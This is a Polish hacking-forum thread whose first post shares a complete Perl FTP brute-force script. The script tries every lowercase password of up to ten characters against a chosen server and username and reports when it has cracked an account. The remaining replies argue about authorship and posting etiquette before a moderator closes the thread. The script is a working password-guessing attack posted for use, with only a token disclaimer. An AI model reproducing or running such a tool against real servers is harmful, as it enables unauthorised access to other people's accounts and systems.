Pokaż wyniki 1 do 7 z 7

Temat: FTP Brute Forcer

  1. #1
    Avatar Hardiel
    Hardiel jest offline Damian
    Zarejestrowany
    May 2008
    Skąd
    Kielce
    Postów
    121

    Domyślnie FTP Brute Forcer

    Brute Forcer do ftp

    Kod:
    #!/usr/bin/perl
    
    use Net::FTP;
    
    $alpha = "abcdefghijklmnopqrstuvwxyz"; #charset
    $minchars = 1; #min chars
    $maxchars = 10; #max chars
    my $server = ((split(/:/, $ARGV[0]))[0]);
    my $port = ((split(/:/, $ARGV[0]))[1]);
    $usern = $ARGV[1];
    
    if((!$port) || ($port !~ /^[0-9]+$/))
    {
       $port = 21;
    }
    
    print q(
    ###########################################################
    #                   FTP brute forcer                      #
    #           http://unnamedone.freehostia.com              #
    #               [email protected]                   #
    #                  13 - April - 2008                      #
    ################## Coded By UnnamedOne ####################
    );
    
    if (@ARGV < 2)
    {
       print " #  I am not responsible for anything that you do with this!\n";
       print " #  usage : ftp.pl [ip:port] [user]\n";
       print " #  E.g : ftp.pl 127.0.0.1:21 admin\n";
       exit();
    }
    
    for(my $t=$minchars;$t<=$maxchars;$t++)
    {
       crack($t);
    }
    
    sub crack
    {
       $CharSet = shift;
       @RawString = ();
       for (my $i =0;$i<$CharSet;$i++)
       {
          $RawString[i] = 0;
       }
       do
       {
           for (my $i =0;$i<$CharSet;$i++)
          {
                if ($RawString[$i] > length($alpha)-1)
             {
                    if ($i==$CharSet-1)
                {
                   $cnt = 0;
                       return false;
                   }
                   $RawString[$i+1]++;
                   $RawString[$i]=0;
                }
            }
          $ret = "";
          for (my $i =0;$i<$CharSet;$i++)
          {
             $ret = $ret . substr($alpha,$RawString[$i],1);
          }
          my $ftp = Net::FTP -> new($server, Port=>$port, Passive=>1, Timeout=>10);
          if($ftp)
          {
             if($ftp -> login($usern,$ret))
             {
                print "Account cracked! pw : $ret\n";
                exit();
             }
          }
          else
          {
             print "Cannot connect to host.\n";
             exit();
          }
          $cnt++;
          print "Trying $ret ...\n";
          $cnt = 0;
          $RawString[0]++;
       }
       while($RawString[$CharSet-1]<length($alpha));
    }
    Pozdrawiam

  2. #2
    rip
    rip jest offline Banned
    Zarejestrowany
    May 2008
    Postów
    534

    Domyślnie

    fajnie ze uczysz sie perla, choc ja i tak nie lubie hll.

    Wez zaloz osobny temat, nazwij go 'moja tworczosc' i tak wrzucaj swoje dziela, ok?

    Wydaje mi sie, ze 90% userow zna ftp.

  3. #3
    Zarejestrowany
    Jun 2006
    Skąd
    rand(.eu)
    Postów
    8,748

    Domyślnie

    Wlasnie sie zastanawiam czy nie przeniesc do dzialu o Pelru... poza tym to nie Hardiel jest autorem, zobacz stopke w kodzie.
    ctrl-alt-del.cc - soft reset site for IT admins and other staff :-)

  4. #4
    Zarejestrowany
    Jun 2008
    Postów
    36

    Domyślnie

    Cytat Napisał rip Zobacz post
    fajnie ze uczysz sie perla, choc ja i tak nie lubie hll.

    Wez zaloz osobny temat, nazwij go 'moja tworczosc' i tak wrzucaj swoje dziela, ok?

    Wydaje mi sie, ze 90% userow zna ftp.

    RiP jak ty wrzucasz tu swoje wypociny
    to jakoś nikt z tobą "uprzejmości" nie wymienia
    a ty masz do wszystkich 1000 ówag
    to zle tamto zle ... co cie boli człowieku

  5. #5
    Avatar Hardiel
    Hardiel jest offline Damian
    Zarejestrowany
    May 2008
    Skąd
    Kielce
    Postów
    121

    Domyślnie

    Jasne ze nie ja jestem autorem ale to przydatne programy pochodzace pod dział hacking wiem rip Ty wolisz pisac o keyylogerach do tibii

  6. #6
    Avatar Ormi
    Ormi jest offline %x-%x-%x-%n
    Zarejestrowany
    Jul 2008
    Skąd
    Za twoimi plecami
    Postów
    351

    Domyślnie

    Cytat Napisał Egoalter Zobacz post
    RiP jak ty wrzucasz tu swoje wypociny
    to jakoś nikt z tobą "uprzejmości" nie wymienia
    a ty masz do wszystkich 1000 ówag
    to zle tamto zle ... co cie boli człowieku
    Ówaga. Tja... Nie ma to jak znajomość ortografii. Poza tym nie nazwałbym uwagą tego, że rip zasugerował to, żeby hardiel prezentował te programy w jednym temacie...

    A jak nie masz nic do powiedzenia to po co się odzywasz? Po to żeby posta nabić?
    Black Coders | Hacking, Kernel, Linux, Operating Systems, Programming
    I otworzyła studnię Czeluści,
    a dym się uniósł ze studni jak dym z wielkiego pieca,
    i od dymu zaćmiło się słońce i powietrze.
    A z dymu wyszła szarańcza na ziemię,
    i dano jej moc jaką mają ziemskie skorpiony.
    (...)
    I dano jej nakaz aby nie zabijała,
    lecz aby przez pięć miesięcy cierpieli katusze...

  7. #7
    Zarejestrowany
    Jun 2006
    Skąd
    rand(.eu)
    Postów
    8,748

    Domyślnie

    kod 01 bo robicie smietnik i wycieczki osobiste
    ctrl-alt-del.cc - soft reset site for IT admins and other staff :-)

Podobne wątki

  1. hasło w okienko brute-force
    By piotrek.zet in forum Hacking
    Odpowiedzi: 4
    Autor: 07-09-2012, 13:38
  2. brute force
    By komeniusz in forum Linux
    Odpowiedzi: 9
    Autor: 06-25-2008, 08:21
  3. brute force - server FTP? odzyskanie hasla
    By mateusz89 in forum Newbie - dla początkujących!
    Odpowiedzi: 9
    Autor: 02-17-2008, 19:11
  4. Brute force ze zdalnego kompa
    By Marcus123 in forum Newbie - dla początkujących!
    Odpowiedzi: 2
    Autor: 12-16-2007, 16:48
  5. atak brute force
    By bartol01 in forum Hacking
    Odpowiedzi: 5
    Autor: 09-14-2007, 21:22

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52